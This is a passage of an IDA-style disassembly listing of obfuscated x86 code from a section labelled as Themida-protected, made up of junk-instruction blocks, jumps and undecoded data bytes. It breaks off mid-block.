loc_55B637:				; CODE XREF: Themida_:005653F8j
		mov	ecx, [esp]
		jmp	loc_567D9C
; ---------------------------------------------------------------------------

loc_55B63F:				; CODE XREF: Themida_:00568523j
		push	ecx
		jmp	loc_55A16D
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 85E95F04h, 8300002Bh, 1C8704C3h, 48F5C24h, 72D3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B65E:				; CODE XREF: Themida_:005575D7j
		add	esp, 4
		inc	ch
		jnz	loc_56BB63
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_56C44C
; ---------------------------------------------------------------------------

loc_55B674:				; CODE XREF: Themida_:005673F2j
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_56B581
; ---------------------------------------------------------------------------

loc_55B686:				; CODE XREF: Themida_:00567385j
		mov	edx, [esp]
		add	esp, 4
		sub	eax, 563A0ED6h
		jmp	loc_562A51
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0FFE401E9h, 3BEB81FFh, 0E93EFD1Bh, 0DDE1h, 0FFAC36E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B6B1:				; CODE XREF: Themida_:0055A6A0j
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	eax, ebp
		mov	ebp, [esp]
		jmp	loc_560F8F
; ---------------------------------------------------------------------------
		dd 4C481h, 0EC830000h, 24148904h, 0FFBF12E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B6D5:				; CODE XREF: Themida_:0055E0F3j
		push	ebp
		mov	ebp, 4
		sub	ebx, 437A7806h
		add	ebx, ebp
		add	ebx, 437A7806h
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		shl	eax, cl
		push	edx
		push	eax
		jmp	loc_563CED
; ---------------------------------------------------------------------------

loc_55B6F7:				; CODE XREF: Themida_:0055D50Aj
		jmp	loc_569C27
; ---------------------------------------------------------------------------

loc_55B6FC:				; CODE XREF: Themida_:00558FACj
		xor	edx, [esp]
		pop	esp
		push	ebp
		jmp	loc_55DD4F
; ---------------------------------------------------------------------------

loc_55B706:				; CODE XREF: Themida_:0055D158j
		sub	ebp, 6BE4155Ah
		add	ebp, edx
		add	ebp, 6BE4155Ah
		pop	edx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		xor	ebx, eax
		pop	small word ptr [eax]
		jmp	loc_55AA88
; ---------------------------------------------------------------------------

loc_55B729:				; CODE XREF: Themida_:00561934j
		push	eax
		jmp	loc_56028A
; ---------------------------------------------------------------------------
		db 57h
		dd 0BB43BBBFh, 9FF78105h, 8135BB4Ah, 1050E9E7h,	0ABC78110h
		dd 0E90EA96Dh, 0FFFFC8DEh
; ---------------------------------------------------------------------------

loc_55B74C:				; CODE XREF: Themida_:0056773Fj
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5666CD
; ---------------------------------------------------------------------------

loc_55B75A:				; CODE XREF: Themida_:0055DB85j
		sub	esp, 4
		mov	[esp], ebp
		push	ecx
		push	ebx
		mov	ebx, 437F3503h
		jmp	loc_56ABF3
; ---------------------------------------------------------------------------

loc_55B76F:				; CODE XREF: Themida_:loc_569417j
		and	ebx, 32F309DEh
		sub	ebx, 0BEC6D0B7h
		mov	edi, ebx
		pop	ebx
		mov	ebx, 0AE14C7E9h
		add	ebx, edi
		pop	edi
		add	edi, 509605F3h
		add	edi, 5F8E05E6h
		add	edi, ebx
		push	ebx
		mov	ebx, 5F8E05E6h
		jmp	loc_557543
; ---------------------------------------------------------------------------

loc_55B79F:				; CODE XREF: Themida_:0055B90Fj
		add	ebx, esi
		pop	esi
		sub	ebp, 39DF2302h
		add	ebp, ebx
		add	ebp, 39DF2302h
		pop	ebx
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_567552
; ---------------------------------------------------------------------------
		dd 23A9EB81h, 0E3810BECh, 63566AE7h, 1529CB81h,	82E97986h
		dd 290000F2h, 4B12DD8h,	282D0C8Fh, 2D103E54h, 7A901FD2h
		dd 94B4E9h
		db 0
; ---------------------------------------------------------------------------

loc_55B7FD:				; CODE XREF: Themida_:005675B2j
		mov	edi, 23F734F2h
		sub	edi, 1B83FA3Bh
		jmp	loc_55F71D
; ---------------------------------------------------------------------------

loc_55B80D:				; CODE XREF: Themida_:005654A4j
		pop	esi
		mov	edi, [esp]
		push	2906h
		mov	[esp], ebx
		jmp	loc_55F6FC
; ---------------------------------------------------------------------------

loc_55B81E:				; CODE XREF: Themida_:00560A98j
		shr	bl, 1
		neg	bl
		shl	bl, 4
		add	bl, 15h
		xor	ch, bl
		pop	ebx
		add	dh, ch
		pop	ecx
		or	bh, dh
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_55F5B9
; ---------------------------------------------------------------------------

loc_55B845:				; CODE XREF: Themida_:00562D9Cj
		add	esp, 4
		add	eax, edi
		jmp	loc_56659F
; ---------------------------------------------------------------------------

loc_55B84F:				; CODE XREF: Themida_:00563ACBj
		mov	[esp], ecx
		mov	ch, 1Fh
		push	dx
		push	ecx
		jmp	loc_560002
; ---------------------------------------------------------------------------

loc_55B85C:				; CODE XREF: Themida_:005637D8j
		sub	eax, 799A0D58h
		neg	eax
		add	eax, 0B2AA4011h
		add	ebp, eax
		pop	eax
		jmp	loc_557485
; ---------------------------------------------------------------------------

loc_55B870:				; CODE XREF: Themida_:loc_55709Dj
		neg	edx
		add	edx, 225B6E86h
		push	esi
		mov	esi, 581365ADh
		jmp	loc_55EF46
; ---------------------------------------------------------------------------

loc_55B883:				; CODE XREF: Themida_:0056202Ej
		sub	ebx, 3CE926CFh
		jmp	loc_55DB19
; ---------------------------------------------------------------------------

loc_55B88E:				; CODE XREF: Themida_:0056AFA2j
		xor	edi, 3670698Ah
		and	edi, 8F63A24h
		jmp	loc_558189
; ---------------------------------------------------------------------------

loc_55B89F:				; CODE XREF: Themida_:0055B0B1j
		pop	dword ptr [esp]
		jmp	loc_55E21B
; ---------------------------------------------------------------------------

loc_55B8A7:				; CODE XREF: Themida_:0055E877j
		inc	al
		xor	al, 0Ah
		xor	dh, al
		pop	eax
		add	al, dh
		pop	edx
		push	ebx
		mov	bh, al
		jmp	loc_565D18
; ---------------------------------------------------------------------------

loc_55B8B9:				; CODE XREF: Themida_:00563F97j
		add	ebx, 13A61599h
		sub	ebx, ecx
		sub	ebx, 13A61599h
		jmp	loc_55AE64
; ---------------------------------------------------------------------------
		dd 4F82860Fh, 85680000h, 89000029h, 11B82404h, 256F947Dh
		dd 353263C3h, 6905D0F7h, 3136F56Fh, 0A37E9C6h, 74290001h
		dd 0E95E0424h, 0DA92h
; ---------------------------------------------------------------------------

loc_55B8FC:				; CODE XREF: Themida_:00568BD3j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7EA8227Ch
		mov	ebx, 8157DD88h
		jmp	loc_55B79F
; ---------------------------------------------------------------------------

loc_55B914:				; CODE XREF: Themida_:0056B301j
		mov	[esp], esi
		jmp	loc_56A79D
; ---------------------------------------------------------------------------
		dd 0F705EEC1h, 2F3EE9DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B926:				; CODE XREF: Themida_:005605C6j
		pop	esi
		mov	ebp, edi
		pop	edi
		neg	ebp
		shr	ebp, 5
		neg	ebp
		jmp	loc_562AE0
; ---------------------------------------------------------------------------
		dw 0C280h
		dd 0E9D0008Dh, 5C30h
; ---------------------------------------------------------------------------

loc_55B940:				; CODE XREF: Themida_:005636C4j
		add	dl, al
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	ebx, [esp]
		push	edx
		jmp	loc_5574BB
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0FBh
		dd 0FF078836h, 83582434h, 685F04C4h, 4628h, 89240489h
		dd 0F6DAE9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B972:				; CODE XREF: Themida_:0055665Ej
					; Themida_:00568DB2j
		jp	loc_567813
		shl	ecx, 1
		jnp	loc_56BD48
		jz	loc_55A9BC

loc_55B986:				; CODE XREF: Themida_:0056BF12j
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		push	esp
		jmp	loc_55CAE7
; ---------------------------------------------------------------------------

loc_55B991:				; CODE XREF: Themida_:0056BF0Bj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_562BC9
; ---------------------------------------------------------------------------
		dw 0CB81h
		dd 0D917CA1h, 4CD6EB81h, 7FE94CBAh
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55B9AF:				; CODE XREF: Themida_:005591C3j
					; Themida_:0055DB24j
		pop	edx
		push	735h
		mov	[esp], eax
		jmp	loc_56153E
; ---------------------------------------------------------------------------

loc_55B9BD:				; CODE XREF: Themida_:00565246j
		sub	ch, 0F3h
		jp	loc_569C7C
		push	ebx
		mov	bh, 97h
		push	cx
		jmp	loc_56881C
; ---------------------------------------------------------------------------
		dd 33E95758h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B9D7:				; CODE XREF: Themida_:00567E49j
		pop	ebp
		xor	ebp, 7F036DA3h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_557421
; ---------------------------------------------------------------------------

loc_55B9ED:				; CODE XREF: Themida_:00563C99j
		sub	eax, 0CCA916D0h
		sub	ebx, 45467948h
		sub	ebx, eax
		push	eax
		mov	eax, 45467948h
		jmp	loc_5692E5
; ---------------------------------------------------------------------------
a_htn		db '_htN',0
		dw 8900h
		dd 71BB241Ch, 0E922B576h, 0FFFFFACDh
; ---------------------------------------------------------------------------

loc_55BA18:				; CODE XREF: Themida_:005594B3j
		mov	edi, 0CC905E8h
		jmp	loc_56B515
; ---------------------------------------------------------------------------

loc_55BA22:				; CODE XREF: Themida_:0056AD49j
		dec	eax
		add	eax, 77FEF2EBh
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebx, edx
		jmp	loc_556807
; ---------------------------------------------------------------------------
		dw 0E9E9h
		dd 2900011Ch, 6D4E2DF8h, 56E91090h
		db 5Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55BA4B:				; CODE XREF: Themida_:00567113j
		shl	ecx, 3
		sub	ecx, 499AB26Bh
		xor	esi, ecx
		jmp	loc_56A906
; ---------------------------------------------------------------------------
		db 89h
		dd 4682404h, 58000000h,	48BC101h, 4EC8124h, 89000000h
		dd 0E189240Ch, 0F6F3E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55BA7A:				; CODE XREF: Themida_:0055A0F4j
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 0DAA3ADDh
		shl	ecx, 4
		shl	ecx, 4
		push	esi
		jmp	loc_55D6ED
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483241Ch, 0D735E904h, 52660000h, 0D70891B2h, 0B6525A66h
		dd 22C680DBh, 25F8E9h
		db 0
; ---------------------------------------------------------------------------

loc_55BAAD:				; CODE XREF: Themida_:0056477Fj
		sub	ch, 3Ah
		dec	ch
		jmp	loc_56C76A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4EC8300h, 0FFE0ABE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55BAC5:				; CODE XREF: Themida_:0055F44Fj
		mov	esi, ebx
		jmp	loc_55DDA7
; ---------------------------------------------------------------------------
		dd 4C281h, 0EC810000h, 4, 0E9243C89h, 0FFFFD0FCh
; ---------------------------------------------------------------------------

loc_55BAE0:				; CODE XREF: Themida_:005573D6j
		jg	loc_55B36F
		inc	esi
		jmp	loc_55CE43
; ---------------------------------------------------------------------------
		dd 4EC8359h
		db 55h
; ---------------------------------------------------------------------------

loc_55BAF1:				; CODE XREF: Themida_:0055CC16j
		or	ebp, 534E5876h
		add	ebp, 0ACB19F00h
		and	[edi+1Ch], ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_568C8E
; ---------------------------------------------------------------------------

loc_55BB0B:				; CODE XREF: Themida_:00559C5Cj
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_556821
; ---------------------------------------------------------------------------

loc_55BB18:				; CODE XREF: Themida_:0056707Dj
		add	ebx, 4
		push	ebp
		jmp	loc_56C1AE
; ---------------------------------------------------------------------------
		dd 11DBEA81h, 0C6E91CBEh
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BB2F:				; CODE XREF: Themida_:0056D500j
		sub	esp, 4
		mov	[esp], ebp
		push	72A5h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		jmp	loc_55AA9D
; ---------------------------------------------------------------------------

loc_55BB4D:				; CODE XREF: Themida_:0056190Aj
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		add	edi, ecx
		jmp	loc_5586F8
; ---------------------------------------------------------------------------
		dd 0DF78B6BEh, 81D6F71Fh, 0C22BCCE6h, 1AC68129h, 314BAB3Ah
		dd 24348BF2h, 4A04C483h, 9852F281h, 0C681FFF1h,	66D72762h
		dd 0E4E9D601h
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55BB8B:				; CODE XREF: Themida_:00556E5Aj
		sub	eax, 3875485Ch
		jb	loc_564707
		jmp	loc_55870B
; ---------------------------------------------------------------------------
		db 89h
		dd 0FE92424h
		db 0ECh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55BBA3:				; CODE XREF: Themida_:0055C48Dj
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		idiv	cx
		push	small 54EEh
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_55BBBB:				; CODE XREF: Themida_:loc_5684E7j
		sub	bl, 91h
		inc	bl
		xor	bl, 54h
		jg	loc_563A72
		xor	bl, 9
		jmp	loc_5605BF
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 4Dh
		dd 0F70E7654h, 91E181D9h, 813EBF7Dh, 6C05F3E9h,	0A9C1810Bh
		dd 0E9475925h, 256Ch, 0FFA6F2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55BBF5:				; CODE XREF: Themida_:00559E32j
		push	ecx
		add	dword ptr [esp], 1ACE6FA5h
		pop	ebx
		sub	ebx, 1ACE6FA5h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_565B8B
; ---------------------------------------------------------------------------

loc_55BC12:				; CODE XREF: Themida_:005629FEj
		mov	ebx, [esp]
		add	esp, 4
		pop	ebx
		push	eax
		mov	eax, 20E40057h
		jmp	loc_5569D7
; ---------------------------------------------------------------------------
aQstx		db 'QИ▓x',0
		dd 241C3000h, 0E9241C32h, 78C1h, 4DB3850Fh, 0C40D0000h
		dd 0E9280674h, 59C4h
dword_55BC48	dd 24048B66h, 3C4F68h, 242C8900h, 0FE29E9h ; DATA XREF:	Themida_:0055628Co
		db 0
; ---------------------------------------------------------------------------

loc_55BC59:				; CODE XREF: Themida_:0056681Fj
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_564576
; ---------------------------------------------------------------------------

loc_55BC65:				; CODE XREF: Themida_:loc_56873Bj
		not	ebx
		inc	ebx
		push	esi
		jmp	loc_56D20B
; ---------------------------------------------------------------------------

loc_55BC6E:				; CODE XREF: Themida_:0055C36Ej
		jmp	loc_55F913
; ---------------------------------------------------------------------------

loc_55BC73:				; CODE XREF: Themida_:0056C25Cj
		push	ebx
		mov	ebx, 707E7DBBh
		mov	edi, 0D6F5DD80h
		jmp	loc_56A85F
; ---------------------------------------------------------------------------

loc_55BC83:				; CODE XREF: Themida_:0055DA56j
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_56CD67
; ---------------------------------------------------------------------------

loc_55BC94:				; CODE XREF: Themida_:0055E4B9j
		sub	esp, 4
		mov	[esp], edx
		push	538518E9h
		jmp	loc_55E5A8
; ---------------------------------------------------------------------------

loc_55BCA4:				; CODE XREF: Themida_:00556FBEj
		add	cx, 0A40h
		sub	cx, si
		sub	cx, 0A40h
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	small 483Dh
		mov	[esp], bx
		mov	bx, 66BFh
		sub	ax, bx
		mov	bx, [esp]
		jmp	loc_55F49A
; ---------------------------------------------------------------------------

loc_55BCDF:				; CODE XREF: Themida_:00569BF5j
		jl	loc_56C84B
		jmp	loc_55760A
; ---------------------------------------------------------------------------

loc_55BCEA:				; CODE XREF: Themida_:00559DB9j
					; Themida_:005617F1j
		push	507Bh
		mov	[esp], ebx
		push	ecx
		push	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 42464292h
		mov	eax, 4BC04E0Dh
		xor	eax, ecx
		jmp	loc_55A4F9
; ---------------------------------------------------------------------------

loc_55BD0B:				; CODE XREF: Themida_:0056063Aj
		sub	edi, 648457ECh
		and	edi, 615B04A1h
		shl	edi, 8
		sub	edi, 4C7E0F8Eh
		add	edi, 1
		sub	edi, 0B381F06Fh
		add	ebp, edi
		pop	edi
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_562B3A
; ---------------------------------------------------------------------------

loc_55BD40:				; CODE XREF: Themida_:0055FDBAj
		push	eax
		mov	ah, 0DFh
		jmp	loc_56B4BE
; ---------------------------------------------------------------------------
		dd 83242C8Bh, 0E95204C4h, 4A9Dh
; ---------------------------------------------------------------------------

loc_55BD54:				; CODE XREF: Themida_:0055A910j
		xchg	ebx, [esp]
		jmp	loc_56B746
; ---------------------------------------------------------------------------

loc_55BD5C:				; CODE XREF: Themida_:00562D0Aj
		sub	ebp, 3A7A4257h
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	ebx, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_558E74
; ---------------------------------------------------------------------------

loc_55BD78:				; CODE XREF: Themida_:0055FDD0j
		xor	ebp, ebx
		pop	ebx
		push	ebp
		add	dword ptr [esp], 88D7135h
		pop	eax
		sub	eax, 88D7135h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	7AEBh
		mov	[esp], edx
		jmp	loc_558814
; ---------------------------------------------------------------------------

loc_55BDA0:				; CODE XREF: Themida_:loc_5683FBj
		push	bx
		mov	bl, 41h
		and	al, bl
		pop	bx
		xor	al, cl
		xor	cl, al
		xor	al, cl
		neg	cl
		jmp	loc_565E8A
; ---------------------------------------------------------------------------

loc_55BDB5:				; CODE XREF: Themida_:0055C119j
		mov	ebp, 4
		sub	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		jmp	loc_563F6C
; ---------------------------------------------------------------------------
		dw 0E781h
		dd 72D81764h, 3EC7814Fh, 1E7E2B6h, 0F1015FFEh, 4C1815Eh
		dd 87000000h, 0E95C240Ch, 48B9h
; ---------------------------------------------------------------------------

loc_55BDE8:				; CODE XREF: Themida_:loc_5637A8j
		push	ecx
		push	ebp
		jmp	loc_55F161
; ---------------------------------------------------------------------------

loc_55BDEF:				; CODE XREF: Themida_:0055C789j
		push	edx
		mov	edx, 4
		jmp	loc_55F9EA
; ---------------------------------------------------------------------------

loc_55BDFA:				; CODE XREF: Themida_:005625AAj
		mov	eax, esp
		add	eax, 4
		jmp	loc_562B5A
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0ADFCE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55BE0E:				; CODE XREF: Themida_:0056137Dj
		mov	esi, [esp]
		jmp	loc_561D50
; ---------------------------------------------------------------------------

loc_55BE16:				; CODE XREF: Themida_:0055E89Dj
		pop	ebp
		shr	ecx, 4
		dec	ecx
		shl	ecx, 8
		sub	ecx, 7D8C17DDh
		and	ecx, 6BB0CF8h
		jmp	loc_56BC8A
; ---------------------------------------------------------------------------

loc_55BE2F:				; CODE XREF: Themida_:00566DA1j
		or	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		push	0
		add	dword ptr [esp], 7ED36FBBh
		sub	[esp], ebx
		sub	dword ptr [esp], 7ED36FBBh
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, 1108401Ah
		shl	ebx, 4
		jmp	loc_55FD4F
; ---------------------------------------------------------------------------

loc_55BE64:				; CODE XREF: Themida_:0055F08Dj
		sub	ebx, ecx
		pop	ecx
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_56B6C3
; ---------------------------------------------------------------------------

loc_55BE7C:				; CODE XREF: Themida_:0055D9ABj
		shr	eax, 0Ch
		xor	eax, ecx
		push	ecx
		mov	ecx, esp
		push	3504h
		mov	[esp], ebx
		jmp	loc_55D41B
; ---------------------------------------------------------------------------

loc_55BE91:				; CODE XREF: Themida_:0055DE2Bj
		mov	ecx, [esp]
		add	esp, 4
		mov	[edx], bl
		pop	ebx
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5641E5
; ---------------------------------------------------------------------------
		dd 5C8015Bh, 2CE0BE8h, 592434FFh, 0E9E38953h, 8792h
; ---------------------------------------------------------------------------

loc_55BEC4:				; CODE XREF: Themida_:005686B8j
					; Themida_:0056CEB9j
		sub	ax, 1322h
		pop	ebp
		sub	esp, 2
		mov	[esp], cx
		jmp	loc_56BA13
; ---------------------------------------------------------------------------

loc_55BED8:				; CODE XREF: Themida_:loc_55D0FEj
		or	ebx, 15A272D1h
		jno	loc_55B242
		jmp	loc_5611FB
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 7Eh
		dd 893DBF4Eh, 0EA1FE9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BEF6:				; CODE XREF: Themida_:005645E6j
					; Themida_:00567482j
		pop	ebp
		add	ecx, edx
		jmp	loc_559883
; ---------------------------------------------------------------------------

loc_55BEFE:				; CODE XREF: Themida_:00564D91j
		push	4A39h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_556C1F
; ---------------------------------------------------------------------------

loc_55BF10:				; CODE XREF: Themida_:0056A911j
		pop	ebx
		jmp	loc_566E0D
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 2434FF24h, 592434FFh, 115368h, 240C8900h, 0D23CE9h
		dd 243C8700h, 240C895Ch, 27B4E9h, 0E7EA8100h, 5521EF1Fh
		dd 84AF06BDh, 5DEA29E8h, 815AD509h, 29A8D1F5h, 9191E9E2h
		dd 0C4830000h, 0F1D1E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BF5E:				; CODE XREF: Themida_:0055AAF1j
		push	edi
		mov	edi, 4
		sub	edx, edi
		jmp	loc_560EC2
; ---------------------------------------------------------------------------

loc_55BF6B:				; CODE XREF: Themida_:0056C3F7j
		mov	esi, 47B469ADh
		jmp	loc_561A0B
; ---------------------------------------------------------------------------

loc_55BF75:				; CODE XREF: Themida_:0055EED8j
		add	dword ptr [esp], 4
		pop	edx
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		jmp	loc_55EBCD
; ---------------------------------------------------------------------------
		db 81h
		dd 6B7C5AEBh, 18F0F09h,	0C1FFFFEEh, 0ADE906E3h,	8B0000ECh
		db 0F2h, 34h, 3Dh
; ---------------------------------------------------------------------------

loc_55BFA3:				; CODE XREF: Themida_:0055681Cj
		add	al, 82h
		mov	dx, [esp]
		add	esp, 2
		sub	al, dh
		add	al, 0BAh
		push	edx
		jmp	loc_56C4D7
; ---------------------------------------------------------------------------

loc_55BFB9:				; CODE XREF: Themida_:0055C535j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55CC13
; ---------------------------------------------------------------------------

loc_55BFCE:				; CODE XREF: Themida_:0056CCE1j
		push	ecx
		mov	ecx, 0AEA18C3h
		not	ecx
		inc	ecx
		push	eax
		mov	eax, 0BAD3EC97h
		xor	ecx, eax
		pop	eax
		sub	edx, ecx
		pop	ecx
		add	edx, 159D2616h
		jmp	loc_566CF2
; ---------------------------------------------------------------------------

loc_55BFEE:				; CODE XREF: Themida_:0055DC03j
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_568D16
; ---------------------------------------------------------------------------
		db 0E9h, 0F5h, 0BEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BFFE:				; CODE XREF: Themida_:0056D15Aj
		xchg	ebx, ebp
		not	ebx
		xchg	ebx, ebp
		or	ebp, 7DF74E12h
		shr	ebp, 8
		push	ebp
		inc	dword ptr [esp]
		jmp	loc_55C3AC
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0C006E924h, 9F68FFFFh, 0E9000074h, 9F4Eh
; ---------------------------------------------------------------------------

loc_55C028:				; CODE XREF: Themida_:loc_55CD7Cj
		add	ebx, 0AD2862D4h
		add	esi, 56FE19DBh
		sub	esi, ebx
		sub	esi, 56FE19DBh
		jmp	loc_556E6C
; ---------------------------------------------------------------------------

loc_55C041:				; CODE XREF: Themida_:00563185j
		mov	ah, ch
		mov	bl, ah
		pop	eax
		jmp	loc_56CC6F
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0F4DB8Bh, 2E2C000h, 0F69D850Fh, 75E9FFFFh, 33FFFFF2h
		dd 555C2414h
; ---------------------------------------------------------------------------

loc_55C064:				; CODE XREF: Themida_:00565503j
		push	esi
		mov	esi, 4
		sub	edx, esi
		pop	esi
		xchg	edx, [esp]
		pop	esp
		jmp	loc_556713
; ---------------------------------------------------------------------------

loc_55C076:				; CODE XREF: Themida_:0056D670j
		pop	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_562D57
; ---------------------------------------------------------------------------

loc_55C08C:				; CODE XREF: Themida_:00566C9Aj
		add	edx, ebp
		sub	edx, 29B83837h
		push	58D4h
		mov	[esp], eax
		mov	eax, 6BB47303h
		sub	edx, eax
		pop	eax
		pop	ebp
		sub	edx, eax
		push	esi
		mov	esi, 61F571D9h
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 669D1807h
		jmp	loc_5690FE
; ---------------------------------------------------------------------------

loc_55C0C0:				; CODE XREF: Themida_:0056659Aj
		add	esp, 2
		push	eax
		jmp	loc_5692B8
; ---------------------------------------------------------------------------

loc_55C0CC:				; CODE XREF: Themida_:00562DBCj
		pop	esi
		add	esp, 4
		add	esi, 4
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_5583FC
; ---------------------------------------------------------------------------
		dd 34FFDF01h, 255DE924h, 0E0C00000h, 80572C08h,	0C60061C6h
		dd 0FF61EE80h, 81582434h, 4C4h,	0FFF02800h, 0EEE92434h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C10F:				; CODE XREF: Themida_:005616EDj
		not	word ptr [esp]
		jmp	loc_55D330
; ---------------------------------------------------------------------------

loc_55C118:				; CODE XREF: Themida_:00558145j
		push	ebp
		jmp	loc_55BDB5
; ---------------------------------------------------------------------------
		dw 1C31h
		dd 241C3324h, 0D6F2E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55C12A:				; CODE XREF: Themida_:0055E403j
		push	ebx
		mov	ebx, 4
		sub	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ch, 3Ch
		xor	dl, ch
		pop	ecx
		push	eax
		jmp	loc_55F29C
; ---------------------------------------------------------------------------

loc_55C145:				; CODE XREF: Themida_:0056C8FDj
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 4
		jmp	loc_5684C3
; ---------------------------------------------------------------------------

loc_55C152:				; CODE XREF: Themida_:00562F4Dj
		pop	ebx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	eax, edi
		jmp	loc_561ED3
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48324h, 0E9241C33h, 0FFFFEF28h
; ---------------------------------------------------------------------------

loc_55C178:				; CODE XREF: Themida_:00564B30j
		xor	esi, 928E4692h
		or	ebp, esi
		pop	esi
		sub	esp, 4
		jmp	loc_565763
; ---------------------------------------------------------------------------
		dd 508AC381h, 0EB811922h, 1D646D2Bh, 0C381FB01h, 1D646D2Bh
		dd 2690E9h
		db 0
; ---------------------------------------------------------------------------

loc_55C1A5:				; CODE XREF: Themida_:0056561Aj
		mov	ecx, esp
		push	edi
		jmp	loc_55A8F0
; ---------------------------------------------------------------------------

loc_55C1AD:				; CODE XREF: Themida_:0055815Fj
		push	edi
		mov	edi, 0E6A0EF7Bh
		sub	esi, edi
		pop	edi
		sub	ebx, 21546374h
		add	ebx, esi
		jmp	loc_557F0E
; ---------------------------------------------------------------------------

loc_55C1C3:				; CODE XREF: Themida_:005564C7j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_561FCB
; ---------------------------------------------------------------------------

loc_55C1D1:				; CODE XREF: Themida_:0055B41Aj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	edx, ebx
		jmp	loc_564580
; ---------------------------------------------------------------------------

loc_55C1E2:				; CODE XREF: Themida_:00557E1Bj
		mov	[esp], esi
		mov	esi, 2
		push	eax
		mov	eax, 0D161B37h
		sub	ebp, eax
